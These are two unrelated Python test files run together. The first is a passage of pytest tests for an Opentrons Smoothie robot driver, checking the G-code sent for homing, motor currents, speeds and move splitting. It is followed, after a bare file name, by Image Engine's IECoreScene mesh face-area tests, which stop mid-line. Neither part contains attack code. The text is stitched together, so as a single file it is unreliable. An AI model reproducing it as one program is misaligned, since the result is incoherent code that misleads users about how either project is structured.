expected = [ ['M907 A0.8 B0.05 C0.05 X0.3 Y0.3 Z0.8 G4P0.005 G28.2.+[ABCZ].+'], ['M400'], ['M907 A0.1 B0.05 C0.05 X0.3 Y0.3 Z0.1 G4P0.005'], ['M400'], ['M203.1 Y50'], ['M400'], ['M907 A0.1 B0.05 C0.05 X0.3 Y0.8 Z0.1 G4P0.005 G91 G0Y-28 G0Y10 G90'], ['M400'], ['M203.1 X80'], ['M400'], ['M907 A0.1 B0.05 C0.05 X1.25 Y0.3 Z0.1 G4P0.005 G28.2X'], ['M400'], ['M203.1 A125 B40 C40 X600 Y400 Z125'], ['M400'], ['M907 A0.1 B0.05 C0.05 X0.3 Y0.3 Z0.1 G4P0.005'], ['M400'], ['M203.1 Y80'], ['M400'], ['M907 A0.1 B0.05 C0.05 X0.3 Y1.25 Z0.1 G4P0.005 G28.2Y'], ['M400'], ['M203.1 Y8'], ['M400'], ['G91 G0Y-3 G90'], ['M400'], ['G28.2Y'], ['M400'], ['G91 G0Y-3 G90'], ['M400'], ['M203.1 A125 B40 C40 X600 Y400 Z125'], ['M400'], ['M907 A0.1 B0.05 C0.05 X0.3 Y0.3 Z0.1 G4P0.005'], ['M400'], ['M114.2'], ['M400'], ] fuzzy_assert(result=command_log, expected=expected) command_log = [] smoothie.move({'X': 0, 'Y': 1.123456, 'Z': 2, 'A': 3}) expected = [ ['M907 A0.8 B0.05 C0.05 X1.25 Y1.25 Z0.8 G4P0.005 G0.+'], ['M400'], ] fuzzy_assert(result=command_log, expected=expected) command_log = [] smoothie.move({'B': 2}) expected = [ ['M907 A0.1 B0.05 C0.05 X0.3 Y0.3 Z0.1 G4P0.005 G0B2'], ['M400'], ['M907 A0.1 B0.05 C0.05 X0.3 Y0.3 Z0.1 G4P0.005'], ['M400'], ] fuzzy_assert(result=command_log, expected=expected) command_log = [] smoothie.move({ 'X': 10.987654321, 'Y': 2.12345678, 'Z': 2.5, 'A': 3.5, 'B': 4.25, 'C': 5.55}) expected = [ # Set active axes high ['M907 A0.8 B0.05 C0.05 X1.25 Y1.25 Z0.8 G4P0.005 G0.+[BC].+'], # noqa(E501) ['M400'], # Set plunger current low ['M907 A0.8 B0.05 C0.05 X1.25 Y1.25 Z0.8 G4P0.005'], ['M400'], ] fuzzy_assert(result=command_log, expected=expected) def test_set_active_current(smoothie, monkeypatch): command_log = [] smoothie._setup() smoothie.home() smoothie.simulating = False def write_with_log(command, ack, connection, timeout, tag=None): command_log.append(command.strip()) return driver_3_0.SMOOTHIE_ACK def _parse_position_response(arg): return smoothie.position monkeypatch.setattr(serial_communication, 'write_and_return', write_with_log) monkeypatch.setattr( driver_3_0, '_parse_position_response', _parse_position_response) smoothie.set_active_current( {'X': 2, 'Y': 2, 'Z': 2, 'A': 2, 'B': 2, 'C': 2}) smoothie.set_dwelling_current( {'X': 0, 'Y': 0, 'Z': 0, 'A': 0, 'B': 0, 'C': 0}) smoothie.move({'X': 0, 'Y': 0, 'Z': 0, 'A': 0, 'B': 0, 'C': 0}) smoothie.move({'B': 1, 'C': 1}) smoothie.set_active_current({'B': 0.42, 'C': 0.42}) smoothie.home('BC') expected = [ # move all ['M907 A2 B2 C2 X2 Y2 Z2 G4P0.005 G0A0B0C0X0Y0Z0'], ['M400'], ['M907 A2 B0 C0 X2 Y2 Z2 G4P0.005'], # disable BC axes ['M400'], # move BC ['M907 A0 B2 C2 X0 Y0 Z0 G4P0.005 G0B1.3C1.3 G0B1C1'], ['M400'], ['M907 A0 B0 C0 X0 Y0 Z0 G4P0.005'], # disable BC axes ['M400'], ['M907 A0 B0.42 C0.42 X0 Y0 Z0 G4P0.005 G28.2BC'], # home BC ['M400'], ['M907 A0 B0 C0 X0 Y0 Z0 G4P0.005'], # dwell all axes after home ['M400'], ['M114.2'], # update the position ['M400'], ] fuzzy_assert(result=command_log, expected=expected) def test_steps_per_mm(smoothie, monkeypatch): # Check that steps_per_mm dict gets loaded with defaults on start assert smoothie.steps_per_mm == {} smoothie._setup() assert smoothie.steps_per_mm == DEFAULT_GANTRY_STEPS_PER_MM smoothie.update_steps_per_mm({'Z': 450}) expected = DEFAULT_GANTRY_STEPS_PER_MM expected['Z'] = 450 assert smoothie.steps_per_mm == expected def test_pipette_configs(smoothie, monkeypatch): axis_value = 'home updated 175' smoothie._send_command = Mock(return_value=axis_value) res = smoothie.update_pipette_config('Z', {'home': 175}) expected_return = {'Z': {'home': 175}} assert res == expected_return def test_set_acceleration(smoothie, monkeypatch): command_log = [] smoothie._setup() smoothie.home() smoothie.simulating = False def write_with_log(command, ack, connection, timeout, tag=None): command_log.append(command.strip()) return driver_3_0.SMOOTHIE_ACK def _parse_position_response(arg): return smoothie.position monkeypatch.setattr(serial_communication, 'write_and_return', write_with_log) monkeypatch.setattr( driver_3_0, '_parse_position_response', _parse_position_response) smoothie.set_acceleration( {'X': 1, 'Y': 2, 'Z': 3, 'A': 4, 'B': 5, 'C': 6}) smoothie.push_acceleration() smoothie.pop_acceleration() smoothie.set_acceleration( {'X': 10, 'Y': 20, 'Z': 30, 'A': 40, 'B': 50, 'C': 60}) smoothie.pop_acceleration() expected = [ ['M204 S10000 A4 B5 C6 X1 Y2 Z3'], ['M400'], ['M204 S10000 A4 B5 C6 X1 Y2 Z3'], ['M400'], ['M204 S10000 A40 B50 C60 X10 Y20 Z30'], ['M400'], ['M204 S10000 A4 B5 C6 X1 Y2 Z3'], ['M400'], ] fuzzy_assert(result=command_log, expected=expected) def test_active_dwelling_current_push_pop(smoothie): assert smoothie._active_current_settings != \ smoothie._dwelling_current_settings old_active_currents = deepcopy(smoothie._active_current_settings) old_dwelling_currents = deepcopy(smoothie._dwelling_current_settings) smoothie.push_active_current() smoothie.set_active_current({'X': 2.0, 'Y': 2.0, 'Z': 2.0, 'A': 2.0}) smoothie.pop_active_current() assert smoothie._active_current_settings == old_active_currents assert smoothie._dwelling_current_settings == old_dwelling_currents def test_functional(smoothie): assert smoothie.position == position(0, 0, 0, 0, 0, 0) smoothie.move({'X': 0, 'Y': 1, 'Z': 2, 'A': 3, 'B': 4, 'C': 5}) assert smoothie.position == position(0, 1, 2, 3, 4, 5) smoothie.move({'X': 1, 'Z': 3, 'C': 6}) assert smoothie.position == position(1, 1, 3, 3, 4, 6) smoothie.home(axis='abc', disabled='') assert smoothie.position == position( 1, 1, 3, smoothie.homed_position['A'], smoothie.homed_position['B'], smoothie.homed_position['C']) smoothie.home(disabled='') assert smoothie.position == smoothie.homed_position @pytest.mark.api1_only def test_set_pick_up_current(model, monkeypatch): driver = model.robot._driver set_current = driver._save_current current_log = [] def set_current_mock(target, axes_active=True): nonlocal current_log current_log.append(target) set_current(target, axes_active) monkeypatch.setattr(driver, '_save_current', set_current_mock) driver.update_homed_flags({ax: True for ax in 'XYZABC'}) rack = model.robot.add_container('tiprack-200ul', '10') pipette = model.instrument._instrument pipette.set_pick_up_current(0.42) pipette.pick_up_tip(rack[0], presses=1) # Instrument in `model` is configured to right mount, which is the A axis # on the Smoothie (see `Robot._actuators`) expected = [ {'C': 0.5}, {'C': 0.05}, {'A': 0.8}, {'A': 0.1}, {'X': 1.25, 'Y': 1.25}, {'X': 0.3, 'Y': 0.3}, {'A': 0.8}, {'A': 0.42}, {'A': 0.8}, {'A': 0.1} ] assert current_log == expected @pytest.mark.xfail @pytest.mark.api1_only def test_drop_tip_current(model, monkeypatch): # TODO: All of these API 1 tests either need to be removed or moved to # a different test file. The ones using the model fixture rely on # some ugly things created in RPC. Ideally, all of these tests should # be testing methods in the smoothie directly. driver = model.driver old_save_current = driver._save_current current_log = [] def mock_save_current(settings, axes_active=True): nonlocal current_log if 'C' in settings: current_log.append(settings) old_save_current(settings, axes_active) monkeypatch.setattr(driver, '_save_current', mock_save_current) rack = model.robot.add_container('tiprack-200ul', '10') pipette = model.instrument._instrument pipette._plunger_current = 0.123 pipette._drop_tip_current = 0.456 pipette.drop_tip(rack[0]) # Instrument in `model` is configured to right mount, which is the A axis # on the Smoothie (see `Robot._actuators`) expected = [ {'C': 0.123}, # move to 'bottom' position {'C': 0.05}, # dwell {'C': 0.456}, # move to 'drop_tip' position {'C': 0.05}, # dwell {'C': 0.123}, # fast-home move upwards {'C': 0.05}, # dwell {'C': 0.123}, # fast-home home command {'C': 0.05}, # dwell {'C': 0.123}, # move back to 'bottom' position {'C': 0.05} # dwell ] assert current_log == expected def test_parse_pipette_data(): msg = 'TestsRule!!' mount = 'L' good_data = mount + ': ' \ + driver_3_0._byte_array_to_hex_string(msg.encode()) parsed = driver_3_0._parse_instrument_data(good_data).get(mount) assert parsed.decode() == msg def test_read_and_write_pipettes(smoothie, monkeypatch): driver = smoothie written_id = '' written_model = '' mount = 'L' def _new_send_message( command, timeout=None, suppress_error_msg=True): nonlocal written_id, written_model, mount if driver_3_0.GCODES['READ_INSTRUMENT_ID'] in command: return mount + ': ' + written_id elif driver_3_0.GCODES['READ_INSTRUMENT_MODEL'] in command: return mount + ': ' + written_model if driver_3_0.GCODES['WRITE_INSTRUMENT_ID'] in command: written_id = command[command.index(mount) + 1:] elif driver_3_0.GCODES['WRITE_INSTRUMENT_MODEL'] in command: written_model = command[command.index(mount) + 1:] monkeypatch.setattr(driver, '_send_command', _new_send_message) test_id = 'TestsRock!!' test_model = 'TestPipette' driver.write_pipette_id('left', test_id) driver.simulating = False read_id = driver.read_pipette_id('left') driver.simulating = True assert read_id == test_id driver.write_pipette_model('left', test_model) driver.simulating = False read_model = driver.read_pipette_model('left') driver.simulating = True assert read_model == test_model + '_v1' def test_read_pipette_v13(smoothie, monkeypatch): driver = smoothie driver.simulating = False def _new_send_message( command, timeout=None, suppress_error_msg=True): return 'L:' + driver_3_0._byte_array_to_hex_string(b'p300_single_v13') monkeypatch.setattr(driver, '_send_command', _new_send_message) res = driver.read_pipette_model('left') assert res == 'p300_single_v1.3' def test_fast_home(smoothie, monkeypatch): driver = smoothie move = driver.move coords = [] def move_mock(target): nonlocal coords coords.append(target) move(target) monkeypatch.setattr(driver, 'move', move_mock) assert coords == [] driver.fast_home(axis='X', safety_margin=12) assert coords == [{'X': driver.homed_position['X'] - 12}] assert driver.position['X'] == driver.homed_position['X'] def test_homing_flags(smoothie, monkeypatch): driver = smoothie def is_connected_mock(): return True monkeypatch.setattr(driver, 'is_connected', is_connected_mock) driver.simulating = False def send_mock(target): smoothie_homing_res = 'X:0 Y:1 Z:0 A:1 B:0 C:1\r\n' return smoothie_homing_res monkeypatch.setattr(driver, '_send_command', send_mock) expected = { 'X': False, 'Y': True, 'Z': False, 'A': True, 'B': False, 'C': True } driver.update_homed_flags() flags = driver.homed_flags assert flags == expected def test_switch_state(smoothie, monkeypatch): driver = smoothie def send_mock(target): smoothie_switch_res = 'X_max:0 Y_max:0 Z_max:0 A_max:0 B_max:0 C_max:0' smoothie_switch_res += ' _pins ' smoothie_switch_res += '(XL)2.01:0 (YL)2.01:0 (ZL)2.01:0 ' smoothie_switch_res += '(AL)2.01:0 (BL)2.01:0 (CL)2.01:0 Probe: 0\r\n' return smoothie_switch_res monkeypatch.setattr(driver, '_send_command', send_mock) expected = { 'X': False, 'Y': False, 'Z': False, 'A': False, 'B': False, 'C': False, 'Probe': False } assert driver.switch_state == expected def send_mock(target): smoothie_switch_res = 'X_max:0 Y_max:0 Z_max:0 A_max:1 B_max:0 C_max:0' smoothie_switch_res += ' _pins ' smoothie_switch_res += '(XL)2.01:0 (YL)2.01:0 (ZL)2.01:0 ' smoothie_switch_res += '(AL)2.01:0 (BL)2.01:0 (CL)2.01:0 Probe: 1\r\n' return smoothie_switch_res monkeypatch.setattr(driver, '_send_command', send_mock) expected = { 'X': False, 'Y': False, 'Z': False, 'A': True, 'B': False, 'C': False, 'Probe': True } assert driver.switch_state == expected def test_clear_limit_switch(smoothie, monkeypatch): """ This functions as a contract test around recovery from a limit-switch hit. Note that this *does not* itself guarantee correct physical behavior--this interaction has been designed and tested on the robot manually and then encoded in this test. If requirements change around physical behavior, then this test will need to be revised. """ driver = smoothie driver.home('xyza') cmd_list = [] def write_mock(command, ack, serial_connection, timeout, tag=None): nonlocal cmd_list cmd_list.append(command) if driver_3_0.GCODES['MOVE'] in command: return "ALARM: Hard limit +C" elif driver_3_0.GCODES['CURRENT_POSITION'] in command: return 'ok M114.2 X:10 Y:20: Z:30 A:40 B:50 C:60' else: return "ok" monkeypatch.setattr(serial_communication, 'write_and_return', write_mock) driver.simulating = False # This will cause a limit-switch error and not back off with pytest.raises(driver_3_0.SmoothieError): driver.move({'C': 100}) assert [c.strip() for c in cmd_list] == [ # attempt to move and fail 'M907 A0.1 B0.05 C0.05 X0.3 Y0.3 Z0.1 G4P0.005 G0C100.3 G0C100', # noqa(E501) # recover from failure 'M999', 'M400', # set current for homing the failed axis (C) 'M907 A0.1 B0.05 C0.05 X0.3 Y0.3 Z0.1 G4P0.005 G28.2C', 'M400', # set current back to idling after home 'M907 A0.1 B0.05 C0.05 X0.3 Y0.3 Z0.1 G4P0.005', 'M400', # update position 'M114.2', 'M400', 'M907 A0.1 B0.05 C0.05 X0.3 Y0.3 Z0.1 G4P0.005', 'M400', ] @pytest.mark.api1_only def test_pause_resume(model): """ This test has to use an ugly work-around with the `simulating` member of the driver. When issuing movement commands in test, `simulating` should be True, but when testing whether `pause` actually pauses and `resume` resumes, `simulating` must be False. """ pipette = model.instrument._instrument robot = model.robot robot.home() homed_coords = pose_tracker.absolute(robot.poses, pipette) robot._driver.simulating = False robot.pause() robot._driver.simulating = True def _move_head(): robot.poses = pipette._move(robot.poses, x=100, y=0, z=0) thread = Thread(target=_move_head) thread.start() sleep(0.5) # Check against home coordinates before calling resume to ensure that robot # doesn't move while paused coords = pose_tracker.absolute(robot.poses, pipette) assert isclose(coords, homed_coords).all() robot._driver.simulating = False robot.resume() robot._driver.simulating = True thread.join() coords = pose_tracker.absolute(robot.poses, pipette) expected_coords = (100, 0, 0) assert isclose(coords, expected_coords).all() def test_speed_change(robot, instruments, monkeypatch): ulmm = { "aspirate": [[100, 0, 0.5]], "dispense": [[100, 0, 0.5]] } pipette = instruments.Pipette(mount='right', ul_per_mm=ulmm) robot._driver.simulating = False command_log = [] def write_with_log(command, ack, connection, timeout, tag=None): if 'G0F' in command: command_log.append(command.strip()) elif 'M114' in command: return 'ok MCS: X:0.00 Y:0.00 Z:0.00 A:0.00 B:0.00 C:0.00' return driver_3_0.SMOOTHIE_ACK monkeypatch.setattr(serial_communication, 'write_and_return', write_with_log) pipette.tip_attached = True pipette.max_volume = 100 pipette._working_volume = 100 pipette.set_speed(aspirate=20, dispense=40) pipette.aspirate(10) pipette.dispense(10) expected = [ ['G0F1200'], # pipette's default aspirate speed in mm/min ['G0F24000'], ['G0F2400'], # pipette's default dispense speed in mm/min ['G0F24000'], ] fuzzy_assert(result=command_log, expected=expected) def test_max_speed_change(robot, smoothie, monkeypatch): smoothie.simulating = False robot._driver = smoothie from opentrons.drivers import serial_communication from opentrons.drivers.smoothie_drivers import driver_3_0 command_log = [] def write_with_log(command, ack, connection, timeout, tag=None): if 'M203.1' in command or 'G0F' in command: command_log.append(command.strip()) return driver_3_0.SMOOTHIE_ACK monkeypatch.setattr(serial_communication, 'write_and_return', write_with_log) robot.head_speed(555) robot.head_speed(x=1, y=2, z=3, a=4, b=5, c=6) robot.head_speed(123, x=7) robot._driver.push_speed() robot._driver.set_speed(321) robot._driver.pop_speed() expected = [ ['G0F{}'.format(555 * 60)], ['M203.1 A4 B5 C6 X1 Y2 Z3'], ['M203.1 X7'], ['G0F{}'.format(123 * 60)], ['G0F{}'.format(321 * 60)], ['G0F{}'.format(123 * 60)], ] fuzzy_assert(result=command_log, expected=expected) @pytest.mark.api1_only def test_pause_in_protocol(model): model.robot._driver.simulating = True model.robot.pause() assert model.robot._driver.run_flag.is_set() def test_send_command_with_retry(robot, smoothie, monkeypatch): smoothie.simulating = False robot._driver = smoothie count = 0 def _no_response(command, ack, connection, timeout, tag=None): nonlocal count count += 1 if count < 3: raise serial_communication.SerialNoResponse('No response') else: return 'ok' monkeypatch.setattr(serial_communication, 'write_and_return', _no_response) # force `write_and_return` to raise exception just once count = 0 res = robot._driver._send_command('test') assert res == 'ok' # force `write_and_return` to raise exception twice count = -1 with pytest.raises(serial_communication.SerialNoResponse): robot._driver._send_command('test') def test_unstick_axes(robot, smoothie): import types smoothie.simulating = False robot._driver = smoothie def update_position_mock(self, default=None): if default is None: default = self._position updated_position = self._position.copy() updated_position.update(**default) robot._driver.update_position = types.MethodType( update_position_mock, robot._driver) current_log = [] def send_command_mock(self, command, timeout=12000.0, ack_timeout=5.0): nonlocal current_log current_log.append(command) if 'M119' in command: smoothie_switch_res = 'X_max:0 Y_max:0 Z_max:0 A_max:0 B_max:0 C_max:0' # NOQA smoothie_switch_res += ' _pins ' smoothie_switch_res += '(XL)2.01:0 (YL)2.01:0 (ZL)2.01:0 ' smoothie_switch_res += '(AL)2.01:0 (BL)2.01:0 (CL)2.01:0 Probe: 0\r\n' # NOQA return smoothie_switch_res robot._driver._send_command = types.MethodType( send_command_mock, robot._driver) robot._driver.unstick_axes('BC') expected = [ 'M203.1 B1 C1', # slow them down 'M119', # get the switch status # move 'M907 A0.1 B0.05 C0.05 X0.3 Y0.3 Z0.1 G4P0.005 G0B-1C-1', 'M907 A0.1 B0.05 C0.05 X0.3 Y0.3 Z0.1 G4P0.005', # set plunger current 'M203.1 A125 B40 C40 X600 Y400 Z125' # return to normal speed ] assert current_log == expected current_log = [] robot._driver.unstick_axes('XYZA') expected = [ 'M203.1 A1 X1 Y1 Z1', # slow them down 'M119', # get the switch status 'M907 A0.8 B0.05 C0.05 X1.25 Y1.25 Z0.8 G4P0.005 G0A-1X-1Y-1Z-1', # noqa(E501) 'M203.1 A125 B40 C40 X600 Y400 Z125' # return to normal speed ] assert current_log == expected def send_command_mock(self, command, timeout=12000.0, ack_timeout=5.0): nonlocal current_log current_log.append(command) if 'M119' in command: smoothie_switch_res = 'X_max:0 Y_max:0 Z_max:0 A_max:0 B_max:0 C_max:1' # NOQA smoothie_switch_res += ' _pins ' smoothie_switch_res += '(XL)2.01:0 (YL)2.01:0 (ZL)2.01:0 ' smoothie_switch_res += '(AL)2.01:0 (BL)2.01:0 (CL)2.01:0 Probe: 0\r\n' # NOQA return smoothie_switch_res robot._driver._send_command = types.MethodType( send_command_mock, robot._driver) current_log = [] robot._driver.unstick_axes('BC') expected = [ 'M203.1 B1 C1', # set max-speeds 'M119', # get switch status # MOVE B 'M907 A0.1 B0.05 C0.05 X0.3 Y0.3 Z0.1 G4P0.005 G0B-2', 'M907 A0.1 B0.05 C0.05 X0.3 Y0.3 Z0.1 G4P0.005', # low current B 'M907 A0.1 B0.05 C0.05 X0.3 Y0.3 Z0.1 G4P0.005 G28.2C', # HOME C 'M907 A0.1 B0.05 C0.05 X0.3 Y0.3 Z0.1 G4P0.005', # low current C 'M203.1 A125 B40 C40 X600 Y400 Z125' # reset max-speeds ] assert current_log == expected def send_command_mock(self, command, timeout=12000.0, ack_timeout=5.0): nonlocal current_log current_log.append(command) if 'M119' in command: smoothie_switch_res = 'X_max:0 Y_max:0 Z_max:0 A_max:0 B_max:1 C_max:1' # NOQA smoothie_switch_res += ' _pins ' smoothie_switch_res += '(XL)2.01:0 (YL)2.01:0 (ZL)2.01:0 ' smoothie_switch_res += '(AL)2.01:0 (BL)2.01:0 (CL)2.01:0 Probe: 0\r\n' # NOQA return smoothie_switch_res robot._driver._send_command = types.MethodType( send_command_mock, robot._driver) current_log = [] robot._driver.unstick_axes('BC') expected = [ 'M203.1 B1 C1', # set max-speeds 'M119', # get switch status 'M907 A0.1 B0.05 C0.05 X0.3 Y0.3 Z0.1 G4P0.005 G28.2BC', # HOME BC 'M907 A0.1 B0.05 C0.05 X0.3 Y0.3 Z0.1 G4P0.005', # low current BC 'M203.1 A125 B40 C40 X600 Y400 Z125' # reset max-speeds ] assert current_log == expected def test_alarm_unhandled(smoothie, robot, monkeypatch): smoothie.simulating = False robot._driver = smoothie killmsg = 'ALARM: Kill button pressed - reset or M999 to continue\r\n' def fake_write_and_return(cmdstr, ack, conn, timeout=None, tag=None): return cmdstr + killmsg monkeypatch.setattr(serial_communication, 'write_and_return', fake_write_and_return) assert serial_communication.write_and_return is fake_write_and_return robot._driver.move({'X': 0}) robot._driver._is_hard_halting.set() with pytest.raises(driver_3_0.SmoothieAlarm): robot._driver.move({'X': 25}) assert not robot._driver._is_hard_halting.is_set() def test_move_splitting(smoothie, robot, monkeypatch): smoothie.simulating = False command_log = [] time_mock = Mock() monkeypatch.setattr(utils.time, 'monotonic', time_mock) time_mock.return_value = 0 def send_command_logger(command, timeout=12000.0, ack_timeout=5.0): nonlocal command_log command_log.append(command) monkeypatch.setattr(smoothie, '_send_command', send_command_logger) time_mock.return_value = 10 smoothie.move({'X': 100}) # no backlash, no move splitting, nice and easy assert command_log\ == ['M907 A0.1 B0.05 C0.05 X1.25 Y0.3 Z0.1 G4P0.005 G0X100'] command_log.clear() # move splitting but for a different axis - ignored smoothie.configure_splits_for({'Y': types.MoveSplit( split_distance=50, split_current=1.5, split_speed=0.5, after_time=0)}) time_mock.return_value = 20 smoothie.move({'X': 0}) assert command_log\ == ['M907 A0.1 B0.05 C0.05 X1.25 Y0.3 Z0.1 G4P0.005 G0X0'] command_log.clear() # move split for this axis but no backlash time_mock.return_value = 30 smoothie.configure_splits_for( {'X': types.MoveSplit( split_distance=50, split_current=1.5, split_speed=0.5, after_time=0)}) smoothie.move({'X': 100}) assert command_log\ == ['G0F30 M907 A0.1 B0.05 C0.05 X1.5 Y0.3 Z0.1 G4P0.005 G0X50 ' 'G0F24000 M907 A0.1 B0.05 C0.05 X1.25 Y0.3 Z0.1 G4P0.005 G0X100'] command_log.clear() # move splits that are longer than the move get eaten both in - time_mock.return_value = 40 smoothie.configure_splits_for( {'X': types.MoveSplit( split_distance=30, split_current=1.5, split_speed=0.5, after_time=0)}) smoothie.move({'X': 75}) assert command_log\ == ['G0F30 M907 A0.1 B0.05 C0.05 X1.5 Y0.3 Z0.1 G4P0.005 G0X75 ' 'G0F24000 M907 A0.1 B0.05 C0.05 X1.25 Y0.3 Z0.1 G4P0.005 G0X75'] command_log.clear() # and in + time_mock.return_value = 50 smoothie.move({'X': 100}) assert command_log\ == ['G0F30 M907 A0.1 B0.05 C0.05 X1.5 Y0.3 Z0.1 G4P0.005 G0X100 ' 'G0F24000 M907 A0.1 B0.05 C0.05 X1.25 Y0.3 Z0.1 G4P0.005 G0X100'] # if backlash is involved, it's added on top # prep by moving to 0 time_mock.return_value = 60 smoothie.move({'C': 0}) smoothie.configure_splits_for({'C': types.MoveSplit( split_distance=1, split_current=2.0, split_speed=1, after_time=0)}) command_log.clear() smoothie.move({'C': 20}) assert command_log[0:1]\ == ['G0F60 M907 A0.1 B0.05 C2.0 X0.3 Y0.3 Z0.1 G4P0.005 G0C1 ' 'G0F24000 M907 A0.1 B0.05 C0.05 X0.3 Y0.3 Z0.1 G4P0.005 G0C20.3 G0C20'] # noqa(E501) # if backlash is involved, the backlash target should be the limit # for the split move smoothie.move({'C': 15}) smoothie.configure_splits_for({'C': types.MoveSplit( split_distance=10, split_current=2.0, split_speed=1, after_time=0)}) command_log.clear() time_mock.return_value = 70 smoothie.move({'C': 20}) # note that the backlash/target move has a 0.05A current on C even though # it is active because that is the robot config default active plunger # current. when the driver is used with the rest of the robot or hardware # control stack it uses the higher currents assert command_log[0:1]\ == ['G0F60 M907 A0.1 B0.05 C2.0 X0.3 Y0.3 Z0.1 G4P0.005 G0C20.3 ' 'G0F24000 M907 A0.1 B0.05 C0.05 X0.3 Y0.3 Z0.1 G4P0.005 G0C20.3 G0C20'] # noqa(E501) smoothie.configure_splits_for( {'X': types.MoveSplit( split_distance=50, split_current=1.5, split_speed=0.5, after_time=10)}) # timing: if the axis has moved recently (since we're changing the # time mock) it shouldn't split. first move to reset the last moved at smoothie.move({'X': 0}) command_log.clear() # this move therefore should not split smoothie.move({'X': 100}) assert command_log[0:1] == [ 'M907 A0.1 B0.05 C0.05 X1.25 Y0.3 Z0.1 G4P0.005 G0X100'] command_log.clear() # nor should this move time_mock.return_value = 79 smoothie.move({'X': 1}) assert command_log[0:1] == [ 'M907 A0.1 B0.05 C0.05 X1.25 Y0.3 Z0.1 G4P0.005 G0X1'] command_log.clear() # now that we advance time, we split time_mock.return_value = 89.01 command_log.clear() smoothie.move({'X': 100}) assert command_log[0:1] == [ 'G0F30 M907 A0.1 B0.05 C0.05 X1.5 Y0.3 Z0.1 G4P0.005 G0X51 ' 'G0F24000 M907 A0.1 B0.05 C0.05 X1.25 Y0.3 Z0.1 G4P0.005 G0X100'] def test_per_move_speed(smoothie, robot, monkeypatch): smoothie.simulating = False command_log = [] def send_command_logger(command, timeout=12000.0, ack_timeout=5.0): nonlocal command_log command_log.append(command) monkeypatch.setattr(smoothie, '_send_command', send_command_logger) # no speed argument: use combined speed smoothie.move({'X': 100}) assert command_log[0]\ == 'M907 A0.1 B0.05 C0.05 X1.25 Y0.3 Z0.1 G4P0.005 G0X100' command_log.clear() # specify speed: both set and reset smoothie.move({'Y': 100}, speed=100) assert command_log[0]\ == 'G0F6000 M907 A0.1 B0.05 C0.05 X0.3 Y1.25 Z0.1 G4P0.005 G0Y100 G0F24000' # noqa(E501)
MeshAlgoFaceAreaTest.py
########################################################################## # # Copyright (c) 2009, Image Engine Design Inc. All rights reserved. # # Redistribution and use in source and binary forms, with or without # modification, are permitted provided that the following conditions are # met: # # * Redistributions of source code must retain the above copyright # notice, this list of conditions and the following disclaimer. # # * Redistributions in binary form must reproduce the above copyright # notice, this list of conditions and the following disclaimer in the # documentation and/or other materials provided with the distribution. # # * Neither the name of Image Engine Design nor the names of any # other contributors to this software may be used to endorse or # promote products derived from this software without specific prior # written permission. # # THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS # IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, # THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR # PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT OWNER OR # CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, # EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, # PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR # PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF # LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING # NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS # SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. # ########################################################################## import unittest import imath import IECore import IECoreScene import math import threading import time class MeshAlgoFaceAreaTest( unittest.TestCase ) : def test( self ) : p = IECoreScene.MeshPrimitive.createPlane( imath.Box2f( imath.V2f( -2, -1 ), imath.V2f( 2, 1 ) ) ) faceArea = IECoreScene.MeshAlgo.calculateFaceArea( p ) self.assertTrue( p.isPrimitiveVariableValid( faceArea ) ) self.assertEqual( faceArea.interpolation, IECoreScene.PrimitiveVariable.Interpolation.Uniform ) self.assertEqual( faceArea.data[0], 8 ) def testRandomTriangles( self ) : r = imath.Rand32() for i in range( 0, 1000 ) : p = IECore.V3fVectorData( [ imath.V3f( r.nextf(), r.nextf(), r.nextf() ), imath.V3f( r.nextf(), r.nextf(), r.nextf() ), imath.V3f( r.nextf(), r.nextf(), r.nextf() ), ] ) m = IECoreScene.MeshPrimitive( IECore.IntVectorData( [ 3 ] ), IECore.IntVectorData( [ 0, 1, 2 ] ), "linear", p ) uv = IECore.V2fVectorData( [ imath.V2f( r.nextf(), r.nextf() ), imath.V2f( r.nextf(), r.nextf() ), imath.V2f( r.nextf(), r.nextf() ) ] ) m["uv"] = IECoreScene.PrimitiveVariable( IECoreScene.PrimitiveVariable.Interpolation.Vertex, uv ) faceArea = IECoreScene.MeshAlgo.calculateFaceArea( m ) textureArea = IECoreScene.MeshAlgo.calculateFaceTextureArea( m, "uv" ) self.assertAlmostEqual( faceArea.data[0], IECore.triangleArea( p[0], p[1], p[2] ), 4 ) self.assertAlmostEqual( textureArea.data[0], IECore.triangleArea( imath.V3f( uv[0][0], uv[0][1], 0 ), imath.V3f( uv[1][0], uv[1][1], 0 ), imath.V3f( uv[2][0], uv[2][1], 0 ) ), 4 ) def testTwoFaces( self ) : v = imath.V3f # P # _ _ # | |\ # |_ _|_\ # # uv # # _ _ _ # | | |\ # |_ _ _| |_\ # p = IECore.V3fVectorData( [ v( 0, 0, 0 ), v( 2, 0, 0 ), v( 2, 2, 0 ), v( 0, 2, 0 ), v( 3, 0, 0 ), ] ) uvs = IECore.V2fVectorData( [ imath.V2f( 0, 0 ), imath.V2f( 3, 0 ), imath.V2f( 3, 2 ), imath.V2f( 0, 2 ), imath.V2f( 5, 0 ), imath.V2f( 6, 0 ), imath.V2f( 5, 2 ), ] ) m = IECoreScene.MeshPrimitive( IECore.IntVectorData( [ 4, 3 ] ), IECore.IntVectorData( [ 0, 1, 2, 3, 1, 4, 2 ] ), "linear", p ) m["uv"] = IECoreScene.PrimitiveVariable( IECoreScene.PrimitiveVariable.Interpolation.FaceVarying, uvs ) faceArea = IECoreScene.MeshAlgo.calculateFaceArea( m ) textureArea = IECoreScene.MeshAlgo.calculateFaceTextureArea( m, "uv" ) faceAreas = faceArea.data self.assertEqual( len( faceAreas ), 2 ) self.assertEqual( faceAreas[0], 4 ) self.assertEqual( faceAreas[1], 1 ) textureAreas = 